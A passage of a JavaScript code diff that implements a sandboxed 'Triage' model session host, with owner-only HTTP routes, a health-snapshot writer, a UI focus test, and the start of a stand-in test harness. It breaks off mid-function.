// harnessModule async (name) -> the harness module (envNames, installRoots) or null; the
// repository's packages/plugins/harness/<name> by default
// home HOME, which no mount may reach outside the stack's own code; the Console user's by default
export function createTriageHost({ dataRoot, route = null, readSnapshot = async () => null, env = process.env, node = process.execPath, bwrap = BWRAP, now = () => new Date(), devOwner = false, log = () => {}, roleDir = join(REPO, "roles"), readOnly = [], pollInterval = null, proxyPort = null, tokenPattern = null, harnessModule = repoHarnessModule, home = homedir() }) {
if (typeof dataRoot !== "string" || !dataRoot.startsWith("/")) throw new TriageError("triage-no-data-root", "no data root");
if (proxyPort !== null && !(Number.isInteger(proxyPort) && proxyPort > 0 && proxyPort <= 65535)) throw new TypeError("proxyPort must be a port number or null");
if (tokenPattern !== null && !(tokenPattern instanceof RegExp)) throw new TypeError("tokenPattern must be a RegExp or null");
if (typeof harnessModule !== "function") throw new TypeError("harnessModule must be a function");
const tokenShape = tokenPattern && new RegExp(`^(?:${tokenPattern.source})$`, tokenPattern.flags.replace(/[gmy]/g, ""));
// What no mount source may lie in or around, besides the run directory and the fixed list. HOME
// does not refuse the stack's own code when the stack runs from under it (a copy or a worktree).
const protectedPaths = [dataRoot, systemConfigDir(env), home];
const codeRoot = REPO;
const paths = triagePaths(dataRoot);
const role = JSON.parse(readFileSync(join(roleDir, "triage.json"), "utf8"));
const contract = readFileSync(join(roleDir, role.contract), "utf8");
let last = null; // the last snapshot written
let lastAt = null; // when it was written, in ms
let child = null;
let relay = null;
let starting = null;
let lastExit = null;
let cap = null;
let overCapUntil = null; // the route's over-cap answer, held until its time passes
const queue = [];
const ensureDirs = () => {
mkdirSync(dataRoot, { recursive: true, mode: 0o700 });
for (const d of [paths.root, paths.health, paths.agent, paths.host]) realDir(d);
};
const append = (entry) => {
ensureDirs();
const fd = openSync(paths.transcript, "a", 0o600);
try { appendFileSync(fd, JSON.stringify(entry) + "\n"); } finally { closeSync(fd); }
chmodSync(paths.transcript, 0o600);
};
const transcript = () => {
let text = "";
try {
const st = lstatSync(paths.transcript);
if (!st.isFile()) return [];
text = readFileSync(paths.transcript, "utf8");
} catch { return []; }
const out = [];
for (const line of text.split("\n")) {
if (!line) continue;
try { out.push(JSON.parse(line)); } catch {}
}
return out.slice(-TRANSCRIPT_KEEP);
};
const orgIds = () => new Set(Array.isArray(last?.organizations?.list) ? last.organizations.list.map((o) => o.id) : []);
// One refresh at a time: a read and a message that arrive together share it.
let refreshing = null;
const refresh = () => refreshing ??= (async () => {
ensureDirs();
let snap = null;
try { snap = await readSnapshot(); } catch { snap = null; }
if (snap && typeof snap === "object") {
writeSnapshot(paths.health, snap);
last = snap;
lastAt = now().getTime();
}
return last;
})().finally(() => { refreshing = null; });
const writeBundle = (admitted) => {
const a = paths.agent;
for (const d of ["bundle", "tmp", "work", "home"]) freshDir(join(a, d));
mkdirSync(join(a, "work", "health"), { mode: 0o700 });
// turns/ goes too: the runner numbers turns from 1 and opens each turn file exclusively, so a
// turns/ left by the last run stops the next one at its first turn.
for (const f of ["session.json", "relay.sock", "tools.sock", "turn.done", "turns"]) rmSync(join(a, f), { recursive: true, force: true });
// The session's history stays across starts, unless the session put something other than a
// real directory there.
try { realDir(join(a, "session")); } catch { freshDir(join(a, "session")); }
const resolved = { limits: { authority: role.authority, tools: role.tools }, definition: "triage", pluginTools: [] };
const tools = typedTools({ resolved }).filter((t) => t.name === "send_message");
const workspace = join(a, "work");
const policy = { harness: admitted.harness, workspace, tools: builtinTools(role.tools), typed: tools.map((t) => t.name), network: role.network, needs: [], credentials: [] };
const bundle = { prompt: join(a, "bundle", "prompt.md"), policy: join(a, "bundle", "policy.json"), tools: join(a, "bundle", "tools.json") };
const steps = ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"];
writeFileSync(bundle.prompt, hostPrompt(contract, { snapshotPath: join(workspace, "health", SNAPSHOT_FILE), steps }), { mode: 0o600, flag: "wx" });
writeFileSync(bundle.policy, JSON.stringify(policy, null, 2) + "\n", { mode: 0o600, flag: "wx" });
writeFileSync(bundle.tools, JSON.stringify(tools, null, 2) + "\n", { mode: 0o600, flag: "wx" });
const session = {
bundle, adapter: admitted.adapter, harness: admitted.harness, harnessEnv: admitted.harnessEnv, turnEnd: admitted.turnEnd,
workspace, sessionDir: join(a, "session"), toolSocket: join(a, "tools.sock"), turnMarker: join(a, "turn.done"),
brokerSocket: join(a, "relay.sock"), business: "system", instance: "triage", run: `triage-${now().toISOString().replace(/[^0-9]/g, "").slice(0, 14)}`,
model: admitted.model, provider: admitted.provider ?? "",
...(Number.isInteger(pollInterval) && pollInterval >= 100 ? { pollInterval } : {}),
};
writeFileSync(join(a, "session.json"), JSON.stringify(session, null, 2) + "\n", { mode: 0o600, flag: "wx" });
};
// The route's answer, checked. It returns a copy taken once, so a getter or a later change to
// the route's object cannot hand the bundle or the binds anything the checks did not see, and
// the module's install roots, for hostedBinds. The log names the fence, never a value.
const checkAdmitted = async (answer) => {
const refuse = (fence) => {
log(`triage host: route refused: ${fence}`);
throw new TriageError("triage-route-invalid", "the model route's answer is not usable");
};
let a;
try { a = structuredClone(answer); } catch { refuse("shape"); }
if (!plainObject(a) || typeof a.adapter !== "string" || !["marker", "exit"].includes(a.turnEnd)
|| typeof a.model !== "string" || !a.model || typeof a.harness !== "string" || !HARNESS_NAME.test(a.harness)
|| (a.provider !== undefined && typeof a.provider !== "string")) refuse("shape");
let mod = null;
try { mod = await harnessModule(a.harness); } catch { mod = null; }
const declared = mod?.envNames;
if (!Array.isArray(declared) || typeof mod.installRoots !== "function") refuse("module");
const he = a.harnessEnv;
if (!plainObject(he) || Object.keys(he).length > HARNESS_ENV_MAX) refuse("harness-env");
for (const [k, v] of Object.entries(he)) if (refusedHarnessName(k) || !declared.includes(k) || !cleanValue(v)) refuse("harness-env");
const re = a.env ?? {};
if (!plainObject(re) || Object.entries(re).some(([k, v]) => !ROUTE_ENV_ALLOW.includes(k) || !cleanValue(v))) refuse("route-env");
const url = LOOPBACK_URL.exec(re.ANTHROPIC_BASE_URL ?? "");
if (!url || Number(url[1]) > 65535 || (proxyPort !== null && Number(url[1]) !== proxyPort)) refuse("route-env");
if (tokenShape && !(typeof re.ANTHROPIC_AUTH_TOKEN === "string" && tokenShape.test(re.ANTHROPIC_AUTH_TOKEN))) refuse("route-env");
let installRoots;
try { installRoots = structuredClone(mod.installRoots({ env })); } catch { refuse("module"); }
try {
checkHostedRoute({ adapter: a.adapter, harnessMounts: a.harnessMounts ?? [], installRoots, protectedPaths, codeRoot, codeHolder: home, runDir: paths.agent, node });
} catch (e) {
if (e?.code === "hosted-binds-refused") refuse(e.fence);
throw e;
}
return { admitted: a, installRoots };
};
const start = async (answer) => {
const { admitted, installRoots } = await checkAdmitted(answer);
ensureDirs();
writeBundle(admitted);
cap = randomBytes(32).toString("hex");
relay = await createRelay({
socket: join(paths.agent, "relay.sock"), cap,
take: () => {
const out = queue.filter((m) => !m.delivered);
for (const m of out) m.delivered = true;
return out.map(({ id, body, at }) => ({ id, from_role: "human", class: "REQUEST", body, at }));
},
read: (id) => {
const i = queue.findIndex((m) => m.id === id);
if (i >= 0) queue.splice(i, 1);
},
// A reply that names a queued message answers it: the message leaves the queue here, so a
// session that ends before its message.read leaves no "unanswered" line under an answer.
onSend: ({ body, in_reply_to }) => {
const { text, cards, dropped } = extractCards(body, orgIds(), { devOwner: devOwner === true });
append({ at: now().toISOString(), from: "triage", text, cards, dropped, ...(in_reply_to ? { in_reply_to } : {}) });
const i = in_reply_to ? queue.findIndex((m) => m.id === in_reply_to) : -1;
if (i >= 0) queue.splice(i, 1);
},
log,
});
let list;
try {
list = hostedBinds({ runDir: paths.agent, healthDir: paths.health, adapter: admitted.adapter, harnessMounts: admitted.harnessMounts ?? [], installRoots, protectedPaths, codeRoot, codeHolder: home, relaySocket: join(paths.agent, "relay.sock"), node, readOnly });
} catch (e) {
if (e?.code !== "hosted-binds-refused") throw e;
log(`triage host: route refused at the binds: ${e.fence}`);
// Nothing of the refused start stays: the relay, its socket, the bundle and session.json go.
relay?.close();
relay = null;
for (const f of ["relay.sock", "session.json", "bundle"]) rmSync(join(paths.agent, f), { recursive: true, force: true });
throw new TriageError("triage-route-invalid", "the model route's answer is not usable");
}
const argv = hostedArgv(list, paths.agent, [node, RUNNER, paths.agent], { bwrap });
const out = openSync(paths.log, "a", 0o600);
try {
child = spawn(argv[0], argv.slice(1), { env: triageEnv(env, admitted.env, { node }), detached: true, stdio: ["pipe", out, out] });
} finally {
closeSync(out);
}
const mine = child;
const closeRelay = () => {
relay?.close();
relay = null;
rmSync(join(paths.agent, "relay.sock"), { force: true });
};
mine.on("error", () => {});
mine.stdin.on("error", () => {});
mine.stdin.end(JSON.stringify({ cap }) + "\n");
mine.on("exit", (code, signal) => {
if (child !== mine) return;
lastExit = { code: Number.isInteger(code) ? code : null, signal: signal ?? null, at: now().toISOString() };
child = null;
// Every message still queued leaves it, so none holds a slot with no session to answer it, and
// the transcript says which: one the session took and never answered, or one it never read.
for (const m of queue.splice(0)) {
try { append({ at: now().toISOString(), from: "host", in_reply_to: m.id, text: m.delivered ? UNANSWERED : NOT_TAKEN }); } catch { log("triage host: transcript write failed"); }
}
closeRelay();
});
// A launcher that cannot run (missing, not executable) fires "error" and never "exit": the start
// failed, so the caller writes NOT_STARTED and the host is not left reporting a session.
try {
await new Promise((resolve, reject) => { mine.once("spawn", resolve); mine.once("error", reject); });
} catch (e) {
if (child === mine) child = null;
closeRelay();
log(`triage host: launcher did not run: ${e.code ?? "error"}`);
throw new TriageError("triage-start-failed", "the Triage session did not start");
}
};
// The cap is the route's to count. Once it answers over the cap with a time in the next two days,
// the host refuses without asking again until that time, so a later answer cannot reopen the day.
const capUntil = () => {
if (overCapUntil !== null && Date.parse(overCapUntil) <= now().getTime()) overCapUntil = null;
return overCapUntil;
};
const admit = async () => {
if (!route || typeof route.admit !== "function") return { ok: false, code: "triage-no-route" };
const held = capUntil();
if (held !== null) return { ok: false, code: "triage-over-cap", until: held };
let a;
try { a = await route.admit(); } catch { return { ok: false, code: "triage-route-unreadable" }; }
if (a?.ok === true) return a;
const code = ["triage-no-route", "triage-over-cap"].includes(a?.code) ? a.code : "triage-route-refused";
if (code !== "triage-over-cap") return { ok: false, code };
const until = typeof a.until === "string" && ISO_TIME.test(a.until) ? Date.parse(a.until) : NaN;
const ahead = until - now().getTime();
if (!(ahead > 0 && ahead <= CAP_HOLD_MAX_MS)) return { ok: false, code };
overCapUntil = new Date(until).toISOString();
return { ok: false, code, until: overCapUntil };
};
return {
paths,
get running() { return child !== null; },
get pid() { return child?.pid ?? null; },
routeSet: () => Boolean(route && typeof route.admit === "function"),
async state() {
return {
route: this.routeSet() ? "set" : "not set",
overCapUntil: capUntil(),
running: child !== null,
lastExit,
snapshot: last,
transcript: transcript(),
};
},
refresh,
snapshotAt: () => lastAt,
// The owner's message: checked, admitted by the route, written to the transcript, queued, and
// the session started when it isn't running.
async message(raw) {
const text = plainText(typeof raw === "string" ? raw : "", MESSAGE_MAX + 1).trim();
if (!text) throw new TriageError("triage-message-empty", "the message is empty");
if (text.length > MESSAGE_MAX) throw new TriageError("triage-message-too-long", `a message holds at most ${MESSAGE_MAX} characters`);
if (queue.length >= QUEUE_MAX) throw new TriageError("triage-busy", "Triage has too many messages waiting");
const admitted = await admit();
if (!admitted.ok) throw Object.assign(new TriageError(admitted.code, admitted.code === "triage-over-cap" ? "Triage is over its daily cap" : admitted.code === "triage-no-route" ? "no model route is set for Triage" : "the model route refused"), admitted.until ? { until: admitted.until } : {});
await refresh();
const at = now().toISOString();
const id = `owner-${randomBytes(6).toString("hex")}`;
append({ at, from: "owner", id, text });
queue.push({ id, body: text, at, delivered: false });
if (!child) {
starting ??= start(admitted).finally(() => { starting = null; });
try { await starting; }
catch (e) {
const i = queue.findIndex((m) => m.id === id);
if (i >= 0) queue.splice(i, 1);
try { append({ at: now().toISOString(), from: "host", in_reply_to: id, text: e?.code === "triage-route-invalid" ? ROUTE_REFUSED : NOT_STARTED }); } catch {}
relay?.close();
relay = null;
log(`triage host: start failed: ${e.code ?? "error"}`);
throw e instanceof TriageError ? e : new TriageError("triage-start-failed", "the Triage session did not start");
}
}
return { id, at };
},
async stop({ graceMs = 5000 } = {}) {
const c = child;
if (c) {
try { process.kill(-c.pid, "SIGTERM"); } catch {}
await new Promise((resolve) => {
const t = setTimeout(() => { try { process.kill(-c.pid, "SIGKILL"); } catch {} resolve(); }, graceMs);
c.once("exit", () => { clearTimeout(t); resolve(); });
});
}
relay?.close();
relay = null;
},
};
}
+105
View File
@@ -0,0 +1,105 @@
// #1873 triage-host: the two owner routes of the Triage session. serve.mjs sends a request here only
// for the instance owner's own session (rootOwner, signed in on the public name, no organization
// selected); everyone else falls through to the answer an unknown route gives. The read carries the
// transcript, the last health snapshot and the cards; the write carries one owner message and also
// needs --send and the same-origin checks the org admin routes use. No body, path, token or
// exception text reaches a response or a log line.
export const TRIAGE_PATHS = Object.freeze(["/api/triage", "/api/triage/message"]);
export const BODY_MAX = 16384;
// A read refreshes the snapshot when the one it holds is older than this.
export const SNAPSHOT_MAX_AGE_MS = 30000;
export const capMessage = until => `Triage is over its daily token cap. It takes messages again at ${until}.`;
export const NO_ROUTE_MESSAGE = "No model route is set for Triage, so Triage will not start. The instance owner sets the route first.";
const STATUS = Object.freeze({
"invalid-request": 400,
"triage-message-empty": 400,
"triage-message-too-long": 400,
"triage-no-route": 409,
"triage-route-refused": 409,
"triage-route-invalid": 409,
"triage-over-cap": 429,
"triage-busy": 429,
});
// Fixed words for each code; the host's own messages are fixed too, but the route never forwards text.
const MESSAGES = Object.freeze({
"invalid-request": "the request is not a Triage message",
"triage-message-empty": "the message is empty",
"triage-message-too-long": "the message is too long",
"triage-no-route": NO_ROUTE_MESSAGE,
"triage-route-refused": "the model route refused to start Triage",
"triage-route-invalid": "the model route's answer is not usable",
"triage-route-unreadable": "the model route could not be read",
"triage-over-cap": "Triage is over its daily token cap and starts again after the time shown",
"triage-busy": "Triage has too many messages waiting",
"triage-dir-unsafe": "a Triage directory is not safe to use",
"triage-start-failed": "the Triage session did not start",
"outcome-unknown": "Triage did not answer",
});
const json = (res, status, value) => {
res.writeHead(status, { "content-type": "application/json", "cache-control": "no-store" });
res.end(JSON.stringify(value));
};
const one = (req, name) => (req.headersDistinct[name]?.length === 1 ? req.headersDistinct[name][0] : null);
async function readBody(req) {
if ((req.headers["content-type"] ?? "").split(";")[0].trim().toLowerCase() !== "application/json") throw Error();
const chunks = [];
let size = 0;
for await (const chunk of req) {
size += chunk.length;
if (size > BODY_MAX) throw Error();
chunks.push(chunk);
}
const value = JSON.parse(Buffer.concat(chunks));
if (!value || typeof value !== "object" || Array.isArray(value)) throw Error();
if (Object.keys(value).some((k) => k !== "text") || typeof value.text !== "string") throw Error();
return value.text;
}
// The read's answer. `send` tells the drawer whether it may offer the message box.
export async function triageView(triage, { send, now = Date.now } = {}) {
const held = triage.snapshotAt?.() ?? null;
if (held === null || now() - held > SNAPSHOT_MAX_AGE_MS) await triage.refresh();
const s = await triage.state();
return {
route: s.route,
...(s.route === "set" ? {} : { routeMessage: NO_ROUTE_MESSAGE }),
overCapUntil: s.overCapUntil ?? null,
...(s.overCapUntil ? { capMessage: capMessage(s.overCapUntil) } : {}),
running: s.running,
lastExit: s.lastExit,
snapshot: s.snapshot,
transcript: s.transcript,
send: send === true,
};
}
export async function triageHTTP(req, res, { path, triage, send, origin, log = () => {} }) {
const done = (status, value) => {
// Method, path and status only.
log(`${new Date().toISOString()} ${req.method} ${path} ${status}`);
return json(res, status, value);
};
// `code` is always a key of MESSAGES.
const refuse = (code, extra = {}) => done(STATUS[code] ?? 503, { error: code, message: MESSAGES[code], ...extra });
if (path === "/api/triage") {
if (req.method !== "GET") return done(405, { error: "method not allowed" });
try { return done(200, await triageView(triage, { send })); }
catch { return refuse("outcome-unknown"); }
}
if (req.method !== "POST") return done(405, { error: "method not allowed" });
if (!send) return done(403, { error: "read-only" });
if (one(req, "origin") !== origin) return done(403, { error: "cross-origin request refused" });
if (one(req, "sec-fetch-site") !== "same-origin") return done(403, { error: "cross-site request refused" });
let text;
try { text = await readBody(req); } catch { return refuse("invalid-request"); }
try {
return done(202, await triage.message(text));
} catch (error) {
const code = typeof error?.code === "string" && Object.hasOwn(MESSAGES, error.code) ? error.code : "outcome-unknown";
return refuse(code, code === "triage-over-cap" && typeof error.until === "string" ? { until: error.until } : {});
}
}
+243
View File
@@ -0,0 +1,243 @@
// #1873 triage-host: the health snapshot the Console writes for the Triage session (design
// section 2). It is composed from reads that already exist, keeps only the fields on the fixed list
// below, and is written as one JSON file in <dataRoot>/triage/health/, which the session mounts
// read-only. States, times, counts and codes only: no token, key, host path, pid or upstream text.
// A read that fails, times out or answers outside its fixed shape says "not read", never a guess.
// Run records and logs are a later slice.
//
// The fixed field list (SNAPSHOT_FIELDS names the top level):
// snapshotVersion 1
// at when the Console composed it (ISO time)
// console { state: "answering", at } the Console wrote this, so it answered at `at`
// proxy { initialized, installed, active, healthy, fence } or "not read"
// systemConfig { valid, exit, code } or "not read"
// organizations { count, list: [ { id, bus, processing, config } ] } or "not read"
// bus { state: running | not-answering | stopped | dead, lastStart: { ok, at } | null } or "not read"
// processing { halted, invalid } or "not read"
// config { valid, exit, code } or "not read"
//
// The system config check runs scripts/mosaic-config.mjs validate in a child. Its stdout is the
// resolved config, so it is never read (stdio "ignore"), and loadSystem is not used. Its stderr
// names the config path and data-root facts, so only its first line's leading word is matched
// against SYSTEM_CONFIG_CODES; the text itself never leaves this module.
import { randomBytes } from "node:crypto";
import { spawn } from "node:child_process";
import { chmodSync, renameSync, rmSync, writeFileSync } from "node:fs";
import { join, resolve, dirname } from "node:path";
import { fileURLToPath } from "node:url";
import { ID_PATTERN } from "../../organization/src/vocabulary.mjs";
const REPO = resolve(dirname(fileURLToPath(import.meta.url)), "..", "..", "..");
export const CONFIG_SCRIPT = join(REPO, "scripts", "mosaic-config.mjs");
export const ORG_CONFIG_SCRIPT = join(REPO, "packages", "organization", "src", "cli.mjs");
export const NOT_READ = "not read";
export const SNAPSHOT_VERSION = 1;
export const SNAPSHOT_FILE = "snapshot.json";
export const SNAPSHOT_FIELDS = Object.freeze(["snapshotVersion", "at", "console", "proxy", "systemConfig", "organizations"]);
export const BUS_STATES = Object.freeze(["running", "not-answering", "stopped", "dead"]);
const UNIT_ACTIVE = Object.freeze(["active", "inactive", "failed", "activating", "deactivating", "reloading", "unknown"]);
export const READ_TIMEOUT_MS = 5000;
export const MAX_ORGS = 200;
// At most this many organizations are read at once; each read can start a node child for its config check.
export const ORG_READS_AT_ONCE = 4;
// What a failed system config check may say. Each refusal code the validator prints as its first
// word passes as itself; a known sentence maps to a fixed code; anything else is the exit's general
// code. Nothing else of stderr is kept.
const PRINTED_CODES = Object.freeze([
"instance-config-mismatch", "instance-name-invalid", "instance-root-unclaimed", "instance-root-mismatch",
"proxy-rotate-grace-invalid", "proxy-first-output-invalid", "proxy-config-invalid",
]);
const SENTENCES = Object.freeze([
["configuration not found", "config-not-found"],
["configuration is not valid JSON", "config-not-json"],
["configuration path must be a regular", "config-not-regular-file"],
["configuration file is not readable", "config-unreadable"],
["configuration must be a JSON object", "config-not-object"],
["unsupported configVersion", "config-version-unsupported"],
["unsupported environment", "config-environment-unsupported"],
['execution "dataRoot"', "config-data-root-invalid"],
["unsupported execution.", "config-execution-unsupported"],
["unsupported ", "config-key-unsupported"],
]);
const EXIT_CODES = Object.freeze({ 1: "config-check-failed", 2: "config-invalid", 3: "config-missing-or-unclaimed", 4: "config-check-usage" });
export const SYSTEM_CONFIG_CODES = Object.freeze([...new Set([...PRINTED_CODES, ...SENTENCES.map(([, c]) => c), ...Object.values(EXIT_CODES), "config-check-failed"])]);
// The org config check (`mosaic org config validate ID`) is read by its exit code alone.
const ORG_EXIT_CODES = Object.freeze({ 2: "org-config-invalid", 3: "org-config-system-unreadable", 4: "org-config-check-usage" });
export const ORG_CONFIG_CODES = Object.freeze([...Object.values(ORG_EXIT_CODES), "org-config-check-failed"]);
// stderr's first line, already without its "mosaic-config: " prefix, to one fixed code.
export function systemConfigCode(exit, firstLine) {
if (exit === 0) return null;
const line = typeof firstLine === "string" ? firstLine.replace(/^mosaic-config: /, "") : "";
const word = line.match(/^([a-z][a-z0-9-]{2,63})(?::|$)/)?.[1];
if (word && PRINTED_CODES.includes(word)) return word;
for (const [start, code] of SENTENCES) if (line.startsWith(start)) return code;
return EXIT_CODES[exit] ?? "config-check-failed";
}
// A child run for its exit code. stdout is never opened. stderr is read only when `stderr` is
// true, at most 4 KiB, and only its first line is returned to the caller in this module.
export function runExitOnly(argv, { env, timeoutMs = READ_TIMEOUT_MS, stderr = false } = {}) {
return new Promise((done) => {
let child;
try {
child = spawn(argv[0], argv.slice(1), { env, stdio: ["ignore", "ignore", stderr ? "pipe" : "ignore"] });
} catch {
return done(null);
}
let err = "";
let settled = false;
const finish = (value) => {
if (settled) return;
settled = true;
clearTimeout(timer);
done(value);
};
const timer = setTimeout(() => {
try { child.kill("SIGKILL"); } catch {}
finish(null);
}, timeoutMs);
child.stderr?.on("data", (b) => {
if (err.length < 4096) err += b.toString("utf8").slice(0, 4096 - err.length);
});
child.on("error", () => finish(null));
child.on("close", (code, signal) => finish(signal || !Number.isInteger(code) ? null : { exit: code, firstLine: err.split("\n")[0] }));
});
}
// { valid, exit, code } from the validator, or "not read" when it did not run to an exit.
export async function readSystemConfig({ env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) {
const r = await run([node, CONFIG_SCRIPT, "validate"], { env, timeoutMs, stderr: true });
if (!r || !Number.isInteger(r.exit)) return NOT_READ;
const code = systemConfigCode(r.exit, r.firstLine);
return { valid: r.exit === 0, exit: r.exit, code };
}
export async function readOrgConfig(id, { env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) {
if (typeof id !== "string" || !ID_PATTERN.test(id)) return NOT_READ;
const r = await run([node, ORG_CONFIG_SCRIPT, "validate", id], { env, timeoutMs, stderr: false });
if (!r || !Number.isInteger(r.exit)) return NOT_READ;
return { valid: r.exit === 0, exit: r.exit, code: r.exit === 0 ? null : ORG_EXIT_CODES[r.exit] ?? "org-config-check-failed" };
}
const ISO = /^\d{4}-\d\d-\d\dT\d\d:\d\d:\d\d(\.\d{1,9})?Z$/;
const isoOrNull = (v) => (typeof v === "string" && ISO.test(v) ? v : null);
const bool = (v) => (typeof v === "boolean" ? v : null);
// Each read under its own deadline; a throw, a timeout or a null is "not read".
async function bounded(fn, timeoutMs) {
let timer;
try {
const value = await Promise.race([
Promise.resolve().then(fn),
new Promise((resolve) => { timer = setTimeout(() => resolve(NOT_READ), timeoutMs); }),
]);
return value ?? NOT_READ;
} catch {
return NOT_READ;
} finally {
clearTimeout(timer);
}
}
// The fixed shapes. Anything outside them is "not read".
export function proxyFields(status) {
if (!status || typeof status !== "object") return NOT_READ;
const unit = status.unit && typeof status.unit === "object" ? status.unit : {};
const out = {
initialized: bool(status.init?.initialized),
installed: bool(unit.installed),
active: UNIT_ACTIVE.includes(unit.active) ? unit.active : "unknown",
healthy: bool(unit.healthy),
fence: bool(status.fence?.set),
};
return out.initialized === null && out.installed === null && out.healthy === null ? NOT_READ : out;
}
// busStatus (packages/cli/src/org-bus.mjs) answers healthy and pid; a refusal from its state check
// (a host it cannot account for, a CliError) is a dead host, as the Console's bus revive reads it.
export function busFields(status, refusedDead = false) {
if (refusedDead) return { state: "dead", lastStart: null };
if (!status || typeof status !== "object" || typeof status.healthy !== "boolean") return NOT_READ;
const state = status.healthy ? "running" : Number.isSafeInteger(status.pid) ? "not-answering" : "stopped";
const boot = status.boot && typeof status.boot === "object" && typeof status.boot.ok === "boolean" && isoOrNull(status.boot.at)
? { ok: status.boot.ok, at: status.boot.at } : null;
return { state, lastStart: boot };
}
export function processingFields(p) {
if (!p || typeof p !== "object" || typeof p.halted !== "boolean") return NOT_READ;
return { halted: p.halted, invalid: p.invalid === true };
}
function configFields(c, codes) {
if (!c || typeof c !== "object" || typeof c.valid !== "boolean" || !Number.isInteger(c.exit)) return NOT_READ;
return { valid: c.valid, exit: c.exit, code: c.code === null || codes.includes(c.code) ? c.code : null };
}
// readers: { orgs() -> [{ id, state }], busStatus(id) -> status (a CliError, or a throw with
// `dead: true`, is a dead host), processing(id), orgConfig(id), proxy(), systemConfig() }. Each may be missing.
// fn over items, at most `limit` running at once; the results keep the items' order.
async function mapLimit(items, limit, fn) {
const out = new Array(items.length);
let next = 0;
const worker = async () => { while (next < items.length) { const i = next++; out[i] = await fn(items[i]); } };
await Promise.all(Array.from({ length: Math.min(limit, items.length) }, worker));
return out;
}
// The organization stage runs under one deadline, `timeoutMs` from its start, however many
// organizations there are: an organization whose reads have not finished by then is "not read", and
// one not yet begun is not read at all. A whole snapshot takes at most about two timeouts.
export async function composeSnapshot(readers = {}, { now = () => new Date(), timeoutMs = READ_TIMEOUT_MS, clock = Date.now } = {}) {
const at = now().toISOString();
const read = (name, ...args) => (typeof readers[name] === "function" ? bounded(() => readers[name](...args), timeoutMs) : Promise.resolve(NOT_READ));
const [proxyRaw, systemRaw, orgsRaw] = await Promise.all([read("proxy"), read("systemConfig"), read("orgs")]);
let organizations = NOT_READ;
if (Array.isArray(orgsRaw)) {
const active = orgsRaw.filter((o) => o && typeof o === "object" && o.state === "active" && typeof o.id === "string" && ID_PATTERN.test(o.id)).slice(0, MAX_ORGS);
const deadline = clock() + timeoutMs;
const list = await mapLimit(active, ORG_READS_AT_ONCE, async ({ id }) => {
const left = deadline - clock();
if (left <= 0) return { id, bus: NOT_READ, processing: NOT_READ, config: NOT_READ };
const readOrg = (name) => (typeof readers[name] === "function" ? bounded(() => readers[name](id), left) : NOT_READ);
const [bus, processing, config] = await Promise.all([
typeof readers.busStatus === "function"
? bounded(async () => {
try { return busFields(await readers.busStatus(id)); }
catch (e) { return e?.name === "CliError" || e?.dead === true ? busFields(null, true) : NOT_READ; }
}, left)
: NOT_READ,
readOrg("processing"),
readOrg("orgConfig"),
]);
return { id, bus: bus === NOT_READ ? NOT_READ : bus, processing: processingFields(processing), config: configFields(config, ORG_CONFIG_CODES) };
});
organizations = { count: list.length, list };
}
return {
snapshotVersion: SNAPSHOT_VERSION,
at,
console: { state: "answering", at },
proxy: proxyFields(proxyRaw),
systemConfig: configFields(systemRaw, SYSTEM_CONFIG_CODES),
organizations,
};
}
// One file, replaced whole: written beside itself at 0600, then renamed over the last one.
export function writeSnapshot(healthDir, snapshot) {
const file = join(healthDir, SNAPSHOT_FILE);
const temp = join(healthDir, `.${SNAPSHOT_FILE}.${process.pid}.${randomBytes(6).toString("hex")}.tmp`);
try {
writeFileSync(temp, JSON.stringify(snapshot, null, 2) + "\n", { mode: 0o600 });
chmodSync(temp, 0o600);
renameSync(temp, file);
} finally {
rmSync(temp, { force: true });
}
return file;
}
@@ -577,3 +577,21 @@ test('at 390 wide the drawer is a full-width sheet', async t => {
assert.equal(box[1], box[2]);
assert.ok(box[3] <= box[2], `no horizontal page scroll: ${box[3]} > ${box[2]}`);
});
// #1873 triage-followups: the page focuses its heading when its first render ends. On load the page
// starts a second render that reads GET /api/workspace again, so when the first render's read is slow
// the second draws the rows first and a reader can open a drawer before the first render ends. Its late
// end must not take the drawer's focus. The page holds the first GET /api/workspace until __go.
const HOLD_FIRST = `(() => { const f = window.fetch; let first = true; window.__firstDone = false; window.fetch = (u, o) => { if (first && String(u?.url ?? u).includes('/api/workspace')) { first = false; return new Promise(r => { const t = setInterval(() => { if (window.__go) { clearInterval(t); r(f(u, o).finally(() => setTimeout(() => { window.__firstDone = true; }, 0))); } }, 20); }); } return f(u, o); }; })()`;
test('triage-followups: a drawer opened before the first render ends keeps focus when that render ends', async t => {
const { b, wait } = await setup(t, { scripts: [HOLD_FIRST] });
await wait(`document.querySelector(${JSON.stringify(rowLink('acme:coder'))})`);
assert.notEqual(await b.evaluate('document.activeElement?.tagName'), 'H1', 'the first render has not ended');
await b.evaluate(`document.querySelector(${JSON.stringify(rowLink('acme:coder'))}).click()`);
await wait(`${open('acme:coder')} && ${drawer('acme:coder')}.contains(document.activeElement)`);
await b.evaluate('window.__go = true');
await wait('window.__firstDone');
await new Promise(r => setTimeout(r, 400));
assert.equal(await b.evaluate(`${drawer('acme:coder')}.contains(document.activeElement)`), true, `focus stays in the drawer, not on ${await b.evaluate('document.activeElement?.tagName')}`);
});
+66
View File
@@ -0,0 +1,66 @@
// A stand-in harness turn for the Triage host tests (#1873). It imports nothing from the repository,
// so it runs with only the binds the host gives it. The message body picks the behaviour:
// PROBE answer JSON: the environment's variable names (never values), which of the paths in
// $TRIAGE_PROBE (a JSON array) are visible, the snapshot's version, and whether the
// health directory and the bundle refuse a write
// CARDS answer a reply with a cards fence: one valid card, one unknown step
// TOOL <to> call send_message to <to> through the tool socket and answer the raw reply
// SLEEP hang until killed
// REPLY-SLEEP send the person an answer to this message through the tool socket, then hang until killed
// anything else answer "echo: <body>"
import { existsSync, readFileSync, writeFileSync } from "node:fs";
import { connect } from "node:net";
import { join } from "node:path";
const request = process.env.MOSAIC_REQUEST ?? "";
const body = request.match(/^Message [^\n]*:\n\n([\s\S]*)$/m)?.[1] ?? "";
const workspace = process.env.MOSAIC_WORKSPACE;
const tryWrite = (path) => {
try {
writeFileSync(path, "x");
return "written";
} catch (e) {
return e.code ?? "refused";
}
};
function toolCall(tool, args) {
return new Promise((resolve) => {
const socket = connect(process.env.MOSAIC_TOOL_SOCKET);
let input = "";
socket.on("connect", () => socket.write(JSON.stringify({ tool, args }) + "\n"));
socket.on("data", (b) => {
input += b;
